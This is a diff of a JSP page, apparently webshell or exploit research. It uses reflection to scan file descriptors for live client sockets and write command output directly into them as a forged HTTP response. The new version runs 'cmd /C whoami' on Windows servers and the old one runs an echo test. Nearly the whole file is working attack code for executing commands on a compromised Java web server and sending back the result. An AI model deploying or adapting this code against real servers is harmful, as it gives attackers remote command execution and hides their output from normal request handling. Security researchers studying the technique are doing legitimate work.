11<%@ page contentType =" text/html;charset=UTF-8" language =" java" %>
22<%
3- // 准备工作&初始化
4- java.lang.reflect. Field field = java.io. FileDescriptor . class. getDeclaredField(" fd" );
5- field. setAccessible(true );
6-
7- Class clazz1 = Class . forName(" sun.nio.ch.Net" );
8- java.lang.reflect. Method method1 = clazz1. getDeclaredMethod(" remoteAddress" ,java.io. FileDescriptor . class);
9- method1. setAccessible(true );
10-
11- Class clazz2 = Class . forName(" java.net.SocketOutputStream" , false , null );
12- java.lang.reflect. Constructor constructor2 = clazz2. getDeclaredConstructors()[0 ];
13- constructor2. setAccessible(true );
14-
15- Class clazz3 = Class . forName(" java.net.PlainSocketImpl" );
16- java.lang.reflect. Constructor constructor3 = clazz3. getDeclaredConstructor(new Class []{java.io. FileDescriptor . class});
17- constructor3. setAccessible(true );
18-
19- java.lang.reflect. Method write = clazz2. getDeclaredMethod(" write" ,new Class []{byte []. class});
20- write. setAccessible(true );
21-
22- java.net. InetSocketAddress remoteAddress = null ;
23- java.util.List<Integer > list1 = new java.util.ArrayList<Integer > ();
24- java.util.List<Integer > list2 = new java.util.ArrayList<Integer > ();
25- java.io. FileDescriptor fileDescriptor = new java.io. FileDescriptor ();
26-
27- // 第一次尝试
28- for (int i = 0 ; i < 10000 ; i++ ){
29- field. set(fileDescriptor, i);
30-
31- try {
32- remoteAddress= (java.net. InetSocketAddress ) method1. invoke(null , fileDescriptor);
33- if (remoteAddress. toString(). startsWith(" /127.0.0.1" )) continue ;
34- list1. add(i);
35- }catch (Exception e){
36- // pass
3+ if (java.io. File . separator. equals(" \\ " )){
4+ java.lang.reflect. Field field = java.io. FileDescriptor . class. getDeclaredField(" fd" );
5+ field. setAccessible(true );
6+
7+ Class clazz1 = Class . forName(" sun.nio.ch.Net" );
8+ java.lang.reflect. Method method1 = clazz1. getDeclaredMethod(" remoteAddress" ,new Class []{java.io. FileDescriptor . class});
9+ method1. setAccessible(true );
10+
11+ Class clazz2 = Class . forName(" java.net.SocketOutputStream" , false , null );
12+ java.lang.reflect. Constructor constructor2 = clazz2. getDeclaredConstructors()[0 ];
13+ constructor2. setAccessible(true );
14+
15+ Class clazz3 = Class . forName(" java.net.PlainSocketImpl" );
16+ java.lang.reflect. Constructor constructor3 = clazz3. getDeclaredConstructor(new Class []{java.io. FileDescriptor . class});
17+ constructor3. setAccessible(true );
18+
19+ java.lang.reflect. Method write = clazz2. getDeclaredMethod(" write" ,new Class []{byte []. class});
20+ write. setAccessible(true );
21+
22+ java.net. InetSocketAddress remoteAddress = null ;
23+ java.util. List list = new java.util. ArrayList ();
24+ java.io. FileDescriptor fileDescriptor = new java.io. FileDescriptor ();
25+ for (int i = 0 ; i < 50000 ; i++ ){
26+ field. set((Object )fileDescriptor, (Object )(new Integer (i)));
27+ try {
28+ remoteAddress= (java.net. InetSocketAddress ) method1. invoke(null , new Object []{fileDescriptor});
29+ if (remoteAddress. toString(). startsWith(" /127.0.0.1" )) continue ;
30+ if (remoteAddress. toString(). startsWith(" /0:0:0:0:0:0:0:1" )) continue ;
31+ list. add(new Integer (i));
32+
33+ }catch (Exception e){}
3734 }
38- }
39-
40- // 延迟2s
41- Thread . sleep(2000 );
42-
43- // 第二次尝试
44- for (int i = 0 ; i < 10000 ; i++ ){
45- field. set(fileDescriptor, i);
46-
47- try {
48- remoteAddress = (java.net. InetSocketAddress ) method1. invoke(null , fileDescriptor);
49- if (remoteAddress. toString(). startsWith(" /127.0.0.1" )) continue ;
50- list2. add(i);
51- }catch (Exception e){
52- // pass
53- }
54- }
55-
56- // 取交集
57- list1. retainAll(list2);
58-
59- for (Integer fdVal : list1){
60- try {
61- field. set(fileDescriptor, fdVal);
62- Object socketOutputStream = constructor2. newInstance(new Object []{constructor3. newInstance(new Object []{fileDescriptor})});
6335
64- String res = new java.util. Scanner (Runtime . getRuntime(). exec(" echo \" It works!!\" " ). getInputStream()). useDelimiter(" \\ A" ). next();
65- String result = " HTTP/1.1 200 OK\n Connection: close\n Content-Length: " + res. length() + " \n\n " + res + " \n " ;
66- write. invoke(socketOutputStream, new Object []{result. getBytes()});
67- }catch (Exception e){
68- // pass
36+ for (int i = list. size() - 1 ; i >= 0 ; i-- ){
37+ try {
38+ field. set((Object )fileDescriptor, list. get(i));
39+ Object socketOutputStream = constructor2. newInstance(new Object []{constructor3. newInstance(new Object []{fileDescriptor})});
40+ String [] cmd = new String []{" cmd" ," /C" , " whoami" };
41+ String res = new java.util. Scanner (Runtime . getRuntime(). exec(cmd). getInputStream()). useDelimiter(" \\ A" ). next(). trim();
42+ String result = " HTTP/1.1 200 OK\n Connection: close\n Content-Length: " + (res. length()) + " \n\n " + res + " \n\n " ;
43+ write. invoke(socketOutputStream, new Object []{result. getBytes()});
44+ break ;
45+ }catch (Exception e){
46+ // pass
47+ }
6948 }
7049 }
7150% >
0 commit comments